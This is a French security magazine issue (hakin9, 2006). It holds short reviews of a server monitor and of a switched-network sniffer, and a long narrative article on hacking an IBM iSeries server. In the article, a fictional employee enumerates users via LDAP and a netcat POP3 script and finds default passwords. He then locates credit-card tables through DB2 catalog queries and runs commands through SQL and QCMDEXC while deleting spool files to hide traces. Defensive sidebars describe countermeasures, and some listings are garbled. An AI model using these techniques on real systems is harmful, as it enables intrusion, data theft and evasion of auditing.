correctement. Pour ce faire, vous allez créer une nouvelle règle et sélectionner Generic Secure Shell (SSH) Check (Contrôle générique du shell sécurisé (SSH)). Comme vous pouvez le constater, le logiciel GFI a déjà créé quelques scripts. Sélectionnez le script de contrôle Apache, puis indiquez le serveur et l'adresse IP. Afin de contrôler le bon fonctionnement de votre serveur FTP, définissez une règle selon laquelle une connexion
12
hakin9 Nº 2/2006
complète à votre serveur FTP sera réalisée. Répétez la même opération, mais sélectionnez cette fois FTP dans la liste des règles, puis activez l'option intitulée Use FTP site authentication (Utiliser l'authentification du site FTP). N'oubliez pas d'indiquer la manière dont le système de surveillance de serveurs réseau est censé réaliser la connexion. Paramétrez ensuite quelques règles pour votre machine Windows Server 2003. Créez un nouveau dossier contenant les mêmes options que celles de votre système SUSE puis modifiez l'adresse IP, le nom de l'hôte dans Logon credentials pour votre serveur Windows. Appelez ce nouveau dossier, dossier Windows, puis créez une nouvelle règle intitulée CPU Usage (Utilisation de l'unité centrale). Réglez l'utilisation maximale de l'unité centrale sur 100%. Sous un message d'erreur standard, vous pourrez obliger le système de surveillance réseau à redémarrer le serveur Win 2003 si ce dernier utilise l'unité centrale à 100%. Pour ce faire, vous devez activer l'option intitulée Reboot the following computer (Redémarrer l'ordinateur suivant) dans la rubrique des réglages Actions -> Reboot Computer/Restart Services (Actions -> Redémarrer l'ordinateur/Redémarrer les services). Vous devez désormais vérifier le bon fonctionnement de vos règles. Pour ce faire, sélectionnez Monitoring Checks Status (Statut des contrôles de surveillance) dans l'explorateur de l'outil. Il est préférable de savoir que les mêmes informations sont également disponibles via le navigateur Web, http://yourserver.com/: 11695. Si les services démarrent sans aucun problème, le statut Succeeded (Réalisé avec succès) apparaît devant les règles. Dans le cas contraire, vous verrez s'afficher le statut Failed (Echec). Si le second statut s'affiche, l'outil GFI Network Monitor vous enverra une message électronique ou peut éventuellement redémarrer le système. Autres qualités : vous aurez sans doute constaté qu'il est possible d'inspecter presque indéfiniment tous les éléments de votre choix, et que votre serveur bénéficie d'une grande amplitude pour régler un éventuel problème. Par ailleurs, vous serez certainement intéressé de savoir qu'il est également possible d'effectuer des recherches DNS, et de formuler des requêtes de type Whois et utilitaire de routage traceroute. Si une machine compatible avec le protocole SNMP fonctionne sur votre réseau, l'outil propose également des fonctions SNMP Audit ainsi que SNMP Walk. Stefan Lochbihler
www.hakin9.org
SwitchSniffer Système : Windows NT4/2000/XP/2003 Licence : Freeware Application : Surveillance des réseaux LAN Site : http://www.nextsecurity.net SwitchSniffer est un outil simple d'emploi et gratuit servant à surveiller les réseaux locaux, doté des mécanismes de base permettant la détection et l'administration des abus.
Démarrage rapide : Depuis peu, nous sommes administrateur d'un réseau dans une petite société commerciale. Le chef nous a demandé de détecter quels employés, au lieu de se consacrer à leurs travaux, utilisent la messagerie instantanée et les applications peer-to-peer. Vu que notre poste de travail est basé sur le système Windows, le réseau dans la société est basé sur les commutateurs, et notre patron n'a pas acheté aucun outil pour les tests de pénétration, nous nous décidons à utiliser l'application gratuite SwitchSniffer destinée au sniffing dans les réseaux commutés. Pour lancer le programme, il faut avoir les droits d'administration, sinon, l'application peut être instable. Après un premier lancement, une fenêtre d'options est affichée. Dans l'onglet Network, nous choisissons l'interface réseau sur lequel nous voulons écouter. Il est conseillé d'aller à l'onglet Spoof et mettre Spoofing Types à Gateway. Dans certains réseaux, cette option sera nécessaire pour que le sniffeur fonctionne correctement. Nous commençons par un scanage du réseau local (bouton Scan). Le programme l'effectue très rapidement et détecte tous les hôtes actifs dans notre segment du réseau. Ceux-ci sont affichés sur la liste Local Hosts Info et dans l'arborescence Up Hosts. Il faut développer cette arborescence et sélectionner dans le menu contextuel (bouton droit de la souris) l'option Select All pour que l'analyse embrasse tous les hôtes actifs. Après quelques instants, nous cliquons sur le bouton Start – le programme commencera à intercepter les données du réseau. L'onglet Local Hosts Info affichera les informations sur les ordinateurs dans le réseau local. SwitchSniffer informe sur : le système d'exploitation, le nom de l'ordinateur, l'adresse IP, l'adresse MAC et le fabricant de la carte réseau. Il affiche aussi les tailles des paquets chargés du réseau et la vitesse avec laquelle ils sont chargés et envyés. À l'aide de SwitchSniffer, nous pouvons aussi surveiller l'utilisation du réseau par chaque employé, ce qui peut nous fournir des informations sur ceux qui s'amusent au lieu de travailler. L'onglet Remote Hosts Info affiche les informations sur les hôtes distants. Par contre, l'onglet Sessions Info informe sur les sessions établies à un moment donné. Les onglets dans la fenêtre gauche contiennent respectivement : l'arborescence des
www.hakin9.org
hôtes locaux (Local), l'arborescence des hôtes distants (Remote) et l'arborescence des services (Services). Pour exécuter notre tâche, il suffit de passer dans la fenêtre gauche du programme sur l'onglet Services. Cette liste contient les services (ports types pour les messageries instantanées, p.ex. gg(8074), jabberclient(5223)) ; après le développement de l'arborescence d'un service, nous pouvoir voir les hôtes distants avec lesquels communiquent les utilisateurs, par contre, après le développement de l'arborescence à côté de l'adresse de l'hôte distant, nous pouvons voir les hôtes locaux – c'est-à-dire les coupables cherchés par le chef. Autres qualités : Le programme permet de bloquer les sessions et les connexions voulues (à l'aide des options disponibles dans le menu contextuel). Il permet donc non seulement d'analyser, mais aussi d'administrer les services admissibles dans le réseau (sur l'onglet Definitions, nous pouvons déterminer quels services sont permis, quelles adresses MAC peuvent profiter de notre réseau et consulter les règles du filtrage du trafic). Il permet aussi de détecter l'ARP Spoofing (l'onglet Detect and Alert dans les options du programme). Défauts : Le programme est moins développé que par exemple dsniff ou Ettercap. De plus, il peut être instable (pour l'instant, seule la version bêta est disponible). Pourtant, l'outil est plus simple d'emploi, surtout pour un administrateur débutant, que d'autres programmes de ce type. Paweł Charnas
Figure 1. SwitchSniffer en action
hakin9 Nº 2/2006
13
Pirater un serveur iSeries d'IBM Dossier Shalom Carmel
Degré de difficulté
Les serveurs iSeries, en d'autres termes AS/400, sont utilisés dans des secteurs aussi divers que le secteur manufacturier, les banques, les sociétés d'assurances, les casinos ou les administrations. Il y a des chances que là où une application reposant sur iSeries est employée, elle traite des données comptables ou financières. Avec plus de 300 000 clients de par le monde et des millions d'utilisateurs, il doit bien y avoir çà et là quelque individu malveillant à la recherche d'un moyen de les exploiter à ses propres fins.
L
es serveurs iSeries (ou AS/400) appartiennent à la gamme des serveurs midrange d'IBM. Ils sont utilisés pour des applications de traitement des données et OLTP multi-tâches et multi-utilisateurs. Les serveurs iSeries intègrent une base de données DB2. Ils peuvent être utilisés pour l'exécution d'applications patrimoniales (pour la plupart programmées en COBOL ou en RPG) ou plus récentes (C, C++ et Java). Deux langages de script spécifiques au monde IBM et disponibles sur cette plate-forme sont CLP et REXX. Autrefois, pour pouvoir travailler sur un serveur AS/400, il fallait disposer d'un terminal spécifique relié par un câble twinax. Aujourd'hui, la manière la plus simple de se connecter à un iSeries est d'utiliser un client telnet comme émulateur de terminal. Les terminaux twinax sont rarement utilisés sauf comme console du système. Outre telnet, un iSeries intègre aujourd'hui un ensemble de serveurs TCP/IP, notamment FTP, TFTP, SMTP, POP3, DNS, LDAP, DHCP, CIFS ainsi qu'ODBC et d'autres protocoles propriétaires. Les machines iSeries peuvent aussi être utilisées comme serveurs d'applications avec Tomcat, WebSphere, Apache ou Domino.
14
hakin9 Nº 2/2006
Des serveurs d'occasion peuvent être trouvés sur eBay à un prix compris entre 4 000 et 5 000 dollars US.
Cet article explique... • • • • • •
comment recenser les mots de passe par défaut et les utilisateurs d'un système iSeries ; comment contourner certaines restrictions utilisateur ; comment exécuter une commande à distance sur un iSeries ; comment écrire du code source iSeries sans un éditeur ; comment piéger un écran de connexion ; comment interroger le catalogue de la base de données.
Ce qu'il faut savoir... • • • •
www.hakin9.org
utilisation du système d'exploitation Windows ; notions élémentaires de gestion de base de données ; notions élémentaires des protocoles d'application sous TCP/IP ; compréhension élémentaire de la programmation.
Pirater un serveur iSeries d'IBM
Clients iSeries
Les clients supportant les sessions telnet 5250 sont ceux qui offrent une fonctionnalité et une gestion utilisateur optimales. Il existe des émulateurs, commerciaux ou non, spécifiquement conçus pour l'iSeries. Pointons entre autres : •
•
•
Client Access pour iSeries d'IBM – outre une émulation de terminal qui requiert une licence, CA400 inclut toute une panoplie d'outils et d'utilitaires tels que des pilotes ODBC, des interfaces graphiques (GUI) pour l'administration du système, des outils de transfert de fichiers, etc. Si vous avez accès à un iSeries, vous y trouverez une version Windows de CA400 dans le dossier /QIBM/ProdData/CA400/ Express/Install/Image. Dans de nombreux cas, le service CIFS NetShare de Windows est actif ; par défaut, ce service contient un partage nommé QCA400 mappé sur le dossier CA400. L'adresse de la page d'accueil de CA400 est http: //www-03.ibm.com/servers/eserver/ iseries/access/. tn5250j est un client tn5250 open source basé sur Java, disponible à l'adresse http:// tn5250j.sourceforge.net/. Les produits de Mochasoft sont des produits commerciaux mais, s'agissant de partagiciels, leur coût est très raisonnable et ils peuvent être évalués avant tout achat – http:// www.mochasoft.dk.
Problèmes de sécurité de l'iSeries
Que l'on utilise une base de données Oracle ou Microsoft SQL, voire DB2 sous *NIX ou Windows, la liste des utilisateurs qui peuvent se connecter au serveur diffère de celle des utilisateurs qui peuvent se connecter à la base de données. Sur notre plate-forme, il n'y a pas de séparation entre les différents types d'utilisateurs. La combinaison de l'identifiant utilisateur et du mot de passe utilisée pour se connecter au système via telnet peut aussi être utilisée pour une connexion via FTP, ODBC ou toute autre ressource requérant
Figure 1. Écran de connexion telnet à l'iSeries une authentification de l'utilisateur. La différence se fait au niveau des droits (authority) conférés à l'utilisateur sur les objets iSeries : commandes, programmes, fichiers et bibliothèques (il existe d'autres objets moins communs qui ne nous intéressent pas ici). Ces droits sont gérés dans le cadre du modèle ACL (Access Control List) et sont octroyés à un utilisateur, à un groupe ou à un rôle. Pour de nombreux services TCP/IP, IBM a fourni les API ou hooks programmables du processus d'authentification et d'autorisation. Si vous voulez autoriser l'utilisateur X à se connecter via telnet à une application OLTP interactive tout en bloquant l'utilisation du FTP par le même utilisateur, vous devez soit écrire un programme spécifique soit acheter les outils nécessaires auprès d'un fournisseur tiers. IBM avait pour habitude de livrer des serveurs iSeries dont la plupart des services TCP/IP étaient activés et opérationnels par défaut. Or il y a plus de chance que l'administrateur d'un iSeries soit un programmeur COBOL qu'un administrateur système sachant différencier pop3 de ftp. Et il arrive souvent qu'on laisse tourner ces services en tâche de fond même quand rien ne le justifie. Il arrive aussi trop souvent que le modèle de sécurité d'une application OLTP se limite à confiner les utilisateurs à un ensemble d'écrans et de menus et n'accorde pas l'attention requise à la sécurité ACL. Ce modèle de sécurité, conjugué à l'absence d'une gestion globale de la sécurité
www.hakin9.org
des services TCP/IP, ouvre la grand porte aux catastrophes.
Contexte du scénario
La société Trupex fabrique et commercialise des accessoires pour cercueils. Certaines de ses applications informatiques, dont la gestion des commandes et des créances commerciales, se trouvent sur un serveur IBM iSeries dernier cri. Cette plate-forme a été choisie en raison de sa disponibilité, de sa stabilité et de sa sécurité, comme le responsable des systèmes informatiques a pu en faire l'expérience durant ses quinze ans de carrière. De son côté, Jules Krupp était représentant pour un service de support informatique dans une autre société, mais sa curiosité excessive,allant jusqu'à l'indiscrétion, a été à la source d'incessants conflits avec ses supérieurs et a fini par lui coûter sa place. Il a postulé pour un poste similaire chez Trupex mais quand le poste qui lui a finalement été proposé était celui de technicien au support clientèle, il a accepté. Aujourd'hui, son job ne le satisfait plus. Il a le sentiment d'avoir été injustement écarté d'une promotion. Il pense mériter quelque dédommagement de son employeur et, après quelques recherches internes, il décide de jouer son va-tout et de récupérer les données de cartes de crédit conservées dans la base de données DB2 de l'iSeries. Balthazar Ogus est le BOFH(1) chargé d'assurer le bon fonctionnement des serveurs iSeries, Windows
hakin9 Nº 2/2006
15
Dossier
Tableau 1. Paramètres de ldapsearch pour la collecte de comptes Active Directory Paramètre
Signification
-h
Nom du serveur AD
-p
Numéro de port. Dans notre cas, on utilise le port 3268, port du service de catalogue global d'AD, et non le port 389, le port LDAP standard, car le catalogue global offre une vue complète de tous des domaines locaux.
-l
Délai de temporisation en secondes. Une requête LDAP sur de gros volume de données peut requérir bien davantage que les 15 secondes par défaut.
-D
-w
(facultatif)
(facultatif)
Nom absolu (Distinguished Name) de l'utilisateur qui émet la requête. Ce paramètre est nécessaire si le serveur LDAP est configuré pour refuser les requêtes anonymes. Dans ce cas, la valeur du paramètre -D ressemblera à ceci : cn=Jules Krupp, OU=CS,DC=UK,DC=Trupex
Recensement des utilisateurs Jules a un poste de travail installé à partir d'une image standard, qui comprend iSeries Client Access avec une émulation pour l'iSeries (voir l'encadré Clients iSeries). Mal-
heureusement, il ne dispose pas de compte utilisateur sur le serveur. Il entreprend de découvrir les utilisateurs définis sur le serveur iSeries afin d'utiliser leur compte pour commettre son exploit. Il part de l'hypothèse que certains comptes utilisateurs de l'iSeries sont peutêtre similaires à ceux de l'annuaire Active Directory (AD) de la société. Vu qu'il est employé, Jules dispose évidemment d'un compte valide sur le serveur AD de Trupex. Il installe un client LDAP (voir l'encadré Clients LDAP) et, après une heure d'effort, parvient à récupérer la liste des utilisateurs sur son ordinateur. Comme Jules se souvient que la session telnet affiche des messages d'information sur le statut du profil utilisateur, il décide de tester l'écran de connexion de l'iSeries avec les comptes collectés sur le serveur AD. Empruntant le chemin le plus direct, il tente de se connecter en utilisant un mot de passe identique au nom d'utilisateur. Lors des deux premières tentatives, il reçoit les messages suivants :
Figure 2. Tentative de connexion FTP
16
hakin9 Nº 2/2006
Il existe un grand nombre d'outils libres LDAP. Deux méritent d'être cités : LdapBrowser de Softerra et l'outil en ligne de commande ldapsearch, disponible dans le SDK gratuit du serveur d'annuaire SunONE. La syntaxe d'une commande ldapsearch est la suivante : $ ldapsearch –h adserver –p 3268 –l 3600 \
"(&(cn=*)(objectclass=user))"
cn samaccountname > users.txt
Les paramètres de la commande ldapsearch sont expliqués dans le Tableau 1.
CPF1120 – User AABBA does not exist.
Mot de passe du compte fourni avec -D
et de courrier électronique. C'est son prédécesseur qui a mis la configuration actuelle en place il y a quelques années et Ogus se satisfait de quelques connexions quotidiennes à l'iSeries pour contrôler l'état du système. Il se connecte aussi quand des incidents tels que des tâches bloquées ou des comptes d'utilisateurs verrouillés se produisent. Il est bien trop pris par d'autres responsabilités plus prioritaires. (1) BOFH : Bastard Operator From Hell. (...) administrateur système particulièrement méchant envers ses utilisateurs (il dit tout haut ce que les admins pensent généralement tout bas...) (source : Le Jargon Français, Roland Trique, www.linuxfrance.org/prj/jargonf/)
Clients LDAP
www.hakin9.org
CPF1120 – User AANGEL does not exist.
Le message qu'il reçoit à la troisième tentative, pour l'utilisateur AAPCZI, est : CPF1107 – Password not correct for user profile.
§
Jules dispose désormais d'un nom d'utilisateur valide sur le serveur. Il réessaie avec l'utilisateur AAPFEL et le message qu'il reçoit cette foisci est : CPF1116 Next not valid sign-on attempt varies off device.
§
Il se rend compte que, même si sa session telnet interactive lui fournit des messages d'information, il risque d'attirer l'attention de l'administrateur de l'iSeries vu que chaque fois qu'un périphérique est désactivé (varied off), un message est envoyé à l'administrateur
Renifler les mots de passe iSeries
Les connexions iSeries classiques ne sont pas chiffrées sur le réseau. C'est vrai pour telnet, FTP, ODBC, POP3 et quasiment toute autre connexion. La plateforme supporte telnet sécurisé, FTP sécurisé (SFTP) et SSH mais on peut douter que les modes sécurisés soient utilisés à grande échelle dans le monde iSeries.
Pirater un serveur iSeries d'IBM
www.hakin9.org
hakin9 Nº 2/2006
17
Dossier
Listing 1. Script de recensement manuel pour POP3 < > < > < > < > < > < >
%TempFile% echo pass %%U>>%TempFile% echo quit>>%TempFile% echo ======= %%U =========>>%ScanResults% type %TempFile% | nc -i 1 -w 1 %AS400Host% %POP3%>>%ScanResults% ) endlocal del %TempFile%
18
hakin9 Nº 2/2006
www.hakin9.org
système. Il pourrait créer une situation partielle de déni de service en épuisant l'espace du périphérique virtuel mais ce n'est pas son intention. Jules décide de chercher une autre approche. Il souhaite à présent trouver une manière moins visible d'accéder illicitement au système. Il commence par explorer le serveur avec Nmap et découvre que de nombreux ports sont ouverts, dont les ports 21 et 110, les ports standards de FTP et POP3. Jules vérifie si ces ports sont réellement utilisés. Sur un serveur iSeries, les comptes utilisateurs sont conçus de telle manière qu'un utilisateur FTP équivaut à un utilisateur interactif standard. Une connexion non valide via d'autres services que telnet ne désactive pas les périphériques iSeries et, par conséquent, est bien moins susceptible d'attirer l'attention. Jules teste d'abord FTP (voir la Figure 2). Le problème avec FTP est que Jules ignore si c'est le mot de passe d'A ARCHER qui est incorrect ou si c'est AARCHER qui n'est pas un compte valide. Vu qu'on le retrouve partout, FTP est notoirement connu pour être le service le plus prisé pour la pose de pièges de sécurité. Jules décide donc d'exploiter FTP en dernier recours et se tourne vers POP3. Il adresse une requête telnet sur le port 110 et découvre, non sans surprise, qu'un serveur POP3 tourne sur le serveur iSeries. Jules interroge Google pour obtenir des informations sur POP3 et iSeries et apprend ainsi que, comme
Comparatif du recensement des utilisateurs pour telnet, ftp et pop3
S'il est disponible, le protocole POP3 est le plus indiqué pour un recensement des utilisateurs. Outre qu'il fournit bon nombre d'informations, il ne laisse virtuellement aucune trace sauf quand la fonction d'audit de la sécurité système est activée. Même quand cette fonction est active, les entrées journalisées pour les échecs d'authentification ne sont pas suffisamment détaillées pour permettre de tracer l'attaque. Voyez le tableau 3 pour plus de détails.
Pirater un serveur iSeries d'IBM
Listing 3. Extrait des résultats du script de recensement POP3 ======= mwhite ========= +OK POP3 server ready +OK POP3 server ready -ERR Logon attempt invalid CPF2204 ======= nanaftp ========= +OK POP3 server ready +OK POP3 server ready +OK start sending message ======= napfel ========= +OK POP3 server ready +OK POP3 server ready -ERR Logon attempt invalid CPF22E2 +OK server quitting ======= nawat ========= +OK POP3 server ready +OK POP3 server ready -ERR Logon attempt invalid CPF22E3
telnet, POP3 sur l'iSeries fournit des messages d'erreur informatifs. Il découvre aussi qu'il n'y a pas d'API de sécurité associée à POP3 et qu'il court, du coup, moins de risques d'être repéré.
Il teste alors quelques utilisateurs manuellement (voir le Listing 1). La signification des codes reçus (et de quelques autres) est fournie dans le Tableau 2 (Codes d’erreur retournés par POP3).
Mesures de protection contre le recensement des utilisateurs Portons au crédit de Balthazar, l'admin système, le fait que les valeurs système responsables de la désactivation des terminaux en cas de tentatives infructueuses de connexion sont correctement définies. La valeur système QMAXSIGN définit le nombre de tentatives de connexion infructueuses autorisées tandis que la valeur système QMAXSGNACN spécifie l'action à entreprendre en cas de dépassement du nombre maximum de tentatives infructueuses. Jules a reçu un message lui indiquant que la prochaine tentative de connexion infructueuse désactiverait le périphérique. Reste à savoir si Balthazar lit les alertes générées par les connexions interactives infructueuses, ce qu'il ne fait probablement pas. Ces alertes ne sont pas créées dans la queue des messages System Operators, souvent capturée par des outils d'alerte sur l'iSeries, mais dans le journal System, dont la lecture est habituellement manuelle. Balthazar a aussi omis de prendre quelques précautions susceptibles de réduire le danger des recensements d'utilisateurs. Il aurait pu remplacer le texte des messages d'information envoyés après des tentatives infructueuses de connexion telnet par un texte standard, sans autres indications. Il a laissé des services inutiles comme POP3 tourner sur le système. Un service qui n'est pas utilisé doit être désactivé. Si vous travaillez dans un des rares endroits où l'iSeries est utilisé pour le courrier électronique entrant, soyez conscient des risques que cela pose. Balthazar n'a vérifié ni régulièrement ni occasionnellement l'existence de mots de passe par défaut alors qu'un utilitaire intégré et convivial permet de le faire – la commande ANZDFTPWD. Last but not least, Balthazar n'a pas activé la fonction d'audit de la sécurité qui permet de consigner toutes les tentatives infructueuses de connexion, y compris celles pour POP3. L'audit de la sécurité est également le seul moyen de capturer les échecs d'accès aux ressources de l'iSeries causés par des restrictions d'accès. Ces défauts de gestion et d'administration coûtent chers à Trupex. Nous pouvons aussi constater qu'il existe un compromis entre une gestion rationnelle de l'informatique et la sécurité. Une politique d'entreprise qui définit des noms d'utilisateur standards rend ces noms devinables sur tous les systèmes. Utiliser des images disque pour les postes de travail utilisateurs permet certes de gagner un temps précieux mais peut aussi se solder par la disponibilité de fonctionnalités inutiles.
www.hakin9.org
Jules s'attaque à l'écriture d'un petit script sous la forme d'un fichier batch Windows (voir le Listing 2) afin de tester la liste d'utilisateurs collectée dans l'annuaire Active Directory. Il choisit l'outil netcat pour ce faire. Le fichier pop3_as400_users.txt contient la liste des utilisateurs tandis que les résultats sont écrits dans le fichier nc_pop3_scan.txt. L'exécutable netcat doit se trouver dans le chemin d'exécution. Jules laisse tourner son poste, éteint le moniteur et rentre chez lui pour un repos bien mérité. Le lendemain matin, le script a terminé son travail et a enregistré les résultats dans le fichier nc_pop3_scan.txt (voir le Listing 3). Jules parcourt le fichier à la recherche de quatre types d'utilisateurs : CPF22E2 indique que le profil utilisateur est valide mais que le mot de passe n'est pas connu. CPF22E4 signifie que l'utilisateur ne peut se connecter pour l'instant et c'est peut-être l'occasion de mener une petite action d'ingénierie sociale auprès du service d'assistance informatique. CPF22E3 et +OK start sending message indiquent que l'utilisateur a un mot de passe par défaut. Jules constate qu'il y a 45 utilisateurs, pour la plupart actifs mais au mot de passe inconnu. Toutefois, il sait qu'il détient une pépite avec l'utilisateur NANAFTP (voir le listing 3). Le mot de passe de cet utilisateur est identique à son nom.
Dresser un inventaire
Jules a maintenant accès au serveur iSeries mais il n'en est encore qu'au début de sa quête. Il doit à présent découvrir où se trouvent les précieuses données qu'il convoite et contourner pour cela toute restriction d'accès à ces données. Active Directory liste NANAFTP comme FTP finance. Jules comprend que cet utilisateur est utilisé pour le transfert de fichiers entre différents systèmes et qu'il ne doit probablement avoir qu'un accès très restreint aux ressources de l'iSeries. Jules essaie malgré tout de se connecter à une session telnet interactive en utilisant NANAFTP comme
hakin9 Nº 2/2006
19
Dossier
pas accès aux outils natifs de l'iSeries, il décide d'utiliser ODBC pour son exploration du serveur.
Quand ODBC vient à la rescousse
Figure 3. Déconnexion automatique
Figure 4. Affichage de l'Operational Assistant de l'OS/400 avec la touche ATTN nom d'utilisateur et comme mot de passe. Sans surprise, il voit s'afficher l'écran présenté à la Figure 3 immédiatement après s'être connecté. Jules essaie une astuce permettant de contourner une déconnexion automatique forcée. La touche ATTN, affectée à la touche Esc sur un clavier pour PC, fournit par défaut une aide opérationnelle à l'utilisateur d'une session interactive AS/400, sous la forme d'un menu avec des liens vers les tâches standards exécutables par un utilisateur et vers des informations supplémentaires sur le système.
L'écran de déconnexion automatique est affiché alors que la session est encore active, si bien que la touche ATTN est également active. Si NANAFTP était défini comme un utilisateur sans restrictions, Jules aurait pu disposer d'un accès interactif, qui, sur l'iSeries, est l'équivalent d'un shell *NIX. Il s'avère que NANAFTP a un compte restreint et qu'il ne peut être utilisé pour un accès interactif. Vu que le gros du travail restant à exécuter concerne essentiellement la base de données de l'iSeries et que Jules n'a toujours
Après avoir configuré correctement son poste de travail pour la connectivité ODBC au serveur iSeries, Jules lance une session de reconnaissance pour évaluer l'inventaire des données. Il commence par interroger le catalogue de DB2 en vue de repérer à quel endroit pourraient se trouver les données des cartes de crédit. Le catalogue de DB2 est constitué d'un ensemble de tables et de vues contenant des informations sur les schémas, tables, colonnes, vues, contraintes, fonctions et procédures stockées de la base de données. Le catalogue contient des entrées y compris pour les objets de base de données créés au moyen des méthodes traditionnelles, non SQL, de l'AS/400. Jules s'attaque d'abord aux noms de tables dont la description comporte les chaînes credit, card ou cc et qui ne se trouvent pas dans les bibliothèques système (qui commencent par la lettre Q). Il filtre en outre les index, les vues et les alias pour ne conserver que les tables réelles , nommées Physical Files en jargon iSeries : select system_table_name, system_table_schema, file_type, table_text, column_count from qsys2.systables where system_table_schema not like 'Q%' and ( lower(table_text) like '%credit%' or lower(table_text) like '%card%' or lower(table_text) like '%cc%' ) and table_type != 'L';
Tableau 4. ACL pour le fichier des cartes de crédit
20
UTILISATEUR
DROITS SUR L'OBJET
OBJET
BIBLIOTHÈQUE
TYPE
PROPRIÉTAIRE
SSA42
*ALL
APLIBF
QSYS
*LIB
SSA42
BOGUS
*CHANGE
APLIBF
QSYS
*LIB
SSA42
QSECOFR
*ALL
APLIBF
QSYS
*LIB
SSA42
*PUBLIC
*EXCLUDE
APLIBF
QSYS
*LIB
SSA42
hakin9 Nº 2/2006
www.hakin9.org
Pirater un serveur iSeries d'IBM
www.hakin9.org
hakin9 Nº 2/2006
21
Dossier
ODBC et JDBC pour iSeries
On peut obtenir un pilote ODBC pour la base de données DB2 de l'iSeries auprès de nombreuses sources. En voici quelquesunes : •
•
le produit Client Access contient un pilote ODBC. Vous pouvez trouver Client Access dans le dossier /QIBM/ProdData/ CA400/Express/Install/Image d'un serveur iSeries. Dans de nombreux cas, le service CIFS NetShare de Windows est actif ; par défaut, ce service contient un partage nommé QCA400 mappé sur le dossier CA400. Microsoft fournit un pilote ODBC pour l'iSeries avec son produit Host Integration Server.
Récemment, Microsoft a sorti un pilote OLE DB (pour les utilisateurs de MS SQL) pour l'iSeries, disponible gratuitement à l'adresse suivante : http://www.microsoft.com/downloads/detai
ls.aspx?familyid=D09C1D60-A13C-4479-9B91-9E8B9D835CDC &displaylang=en. • •
ODBC est également disponible pour Linux à l'adresse http:// www-03.ibm.com/servers/eserver/iseries/access/linux. Vous pouvez aussi utiliser JDBC pour la connectivité à la base de données. Vous pouvez récupérer des pilotes JDBC pour IBM dans le fichier jt400.jar, lequel se trouve fort opportunément dans le dossier /QIBM/ProdData/HTTP/Public/ jt400/lib/. Si vous préférez une solution open source, visitez le projet JTOpen, parrainé par IBM, à l'adresse http://www03.ibm.com/servers/eserver/iseries/toolbox/downloads.html
Les Figures 5 à 15 montrent comment configurer le pilote ODBC iSeries d'IBM et comment l'utiliser avec MS Query, un outil proposé dans toute installation Microsoft Office.
Figure 7. Choix d'une source de données
Figure 5. Création d'un nom de source de données (DSN) pour DB2 d'iSeries – le seul champ obligatoire dans la définition d'un nouveau DSN est l'IP ou le nom du serveur ; conservez les valeurs par défaut pour les autres options
Figure 8. Saisie du nom et mot de passe à utiliser
Figure 9. Ignorez la manipulation intelligente de la base de données – nous avons simplement besoin de pouvoir taper directement des instructions SQL
Figure 6. Lancement de MS Query à partir d'Excel – Il est possible de lancer MS Query de manière autonome, en exécutant MSQRY32.EXE dans le dossier Office, mais le lancer à partir d'Excel permet de stocker facilement les résultats à un emplacement permanent
22
hakin9 Nº 2/2006
www.hakin9.org
Pour disposer d'indices supplémentaires, Jules interroge aussi les descriptions de colonnes :
Pirater un serveur iSeries d'IBM
Figure 12. Insertion dans la base de données à partir de MS Query
Figure 10. Cliquer sur le bouton SQL – Il s'agit du code SQL exécuté par Jules
Figure 13. Avertissement durant l'insertion dans la base de données – Ignorez-le
Figure 14. Message confirmant l'insertion – Vous pouvez aussi exécuter des programmes et des procédures stockées de la même manière (le message de confirmation peut être légèrement différent)
Figure 15. Exécution réussie d'une procédure stockée ou d'un programme select system_table_schema, system_table_name,
Figure 11. Résultats de la requête sur le catalogue
system_column_name, column_text, data_type, length, numeric_scale,
Mesures de protection contre la consultation du contenu du système Balthazar a correctement défini l'utilisateur NANAFTP. Il l'a défini de manière à ce qu'il ne possède que des capacités limitées et à lui appliquer la procédure de déconnexion automatique. Notons qu'il aurait été préférable de définir un programme de connexion initial pour l'exécution de la commande SIGNOFF. Mais il n'a pas sécurisé correctement ODBC et n'en a pas limité l'utilisation aux seuls utilisateurs qui en ont besoin, sachant en particulier qu'un utilisateur distant peut exécuter, via ODBC, des commandes normalement bloquées pour les utilisateurs limités lors de sessions interactives. Malheureusement, le seul moyen d'assurer un tel niveau de sécurité requiert l'achat d'outils de sécurité de fournisseurs tiers. Un autre point que Balthazar pourrait améliorer est la gestion des listes de contrôle d'accès pour les bibliothèques QGPL et APLIBF. D'une part, la valeur par défaut (lecture/écriture) des droits publics sur QGPL devrait être modifiée et, d'autre part, il n'y a pas de raison que BOGUS ait des droits privés sur APLIBF.
www.hakin9.org
numeric_precision from qsys2.syscolumns where system_table_schema not like 'Q%' and (lower(column_text) like '%credit%' or lower(column_text) like '%card%' or lower(column_text) like '%cc%' ) ;
Il croise les deux listes et découvre que la table XACC de la bibliothèque APLIBF pourrait bien être un emplacement de choix pour le stockage des données des cartes
hakin9 Nº 2/2006
23
Dossier
Listing 4. SQL pour le listage des terminaux de l'utilisateur et la description du sous-système /* creation of a source member to contain the CL program source */ call qcmdexc ('addpfm file(qgpl/qclsrc) mbr(monpwd1c) srctype(clp)', 0000000051.00000) create alias qgpl.al01 for qgpl/qclsrc (monpdw1c) /* creation of a flat file for the CPYSPLF command*/ create table qgpl.splfcpy (splfcpy char (200 ) not null with default) /* insertion of the CL statements into the source member */ insert into qgpl.al01 (srcdta) values('pgm') with nc insert into qgpl.al01 (srcdta) values('wrkusrjob user(bogus) status(*all) output(*print) jobtype(*interact)') with nc insert into qgpl.al01 (srcdta) values('cpysplf file(qpdspsbj) tofile(qgpl/splfcpy) +') with nc insert into qgpl.al01 (srcdta) values(' splnbr(*last) mbropt(*add)') with nc insert into qgpl.al01 (srcdta) values('dspsbsd sbsd(qinter) output(*print)') with nc insert into qgpl.al01 (srcdta) values('cpysplf file(qprtsbsd) tofile(qgpl/splfcpy) +') with nc insert into qgpl.al01 (srcdta) values(' splnbr(*last) mbropt(*add)') with nc insert into qgpl.al01 (srcdta) values('endpgm') with nc /* fix source sequence numbers, or compiler will not run. */ update qgpl.al01 al01 set srcseq=rrn(al01) with nc /* compilation of the CL program – no listings created */ call qcmdexc ('crtclpgm pgm(qgpl/monpwd1c) srcfile(qgpl/qclsrc) log(*no) option(*nosource *nosrc *noxref *noseclvl *nosrcdbg *nolstdbg)', 0000000120.00000) /* removal of printed residual traces */ call qcmdexc ('dltsplf file(*select) select(*current *all *all *all)', 0000000054.00000) /* submission of the compiled program to batch */ call qcmdexc ('sbmjob cmd(call pgm(qgpl/monpwd1c)) log(0 0 *nolist) logclpgm(*no) dspsbmjob(*no)' , 0000000081.00000)
§
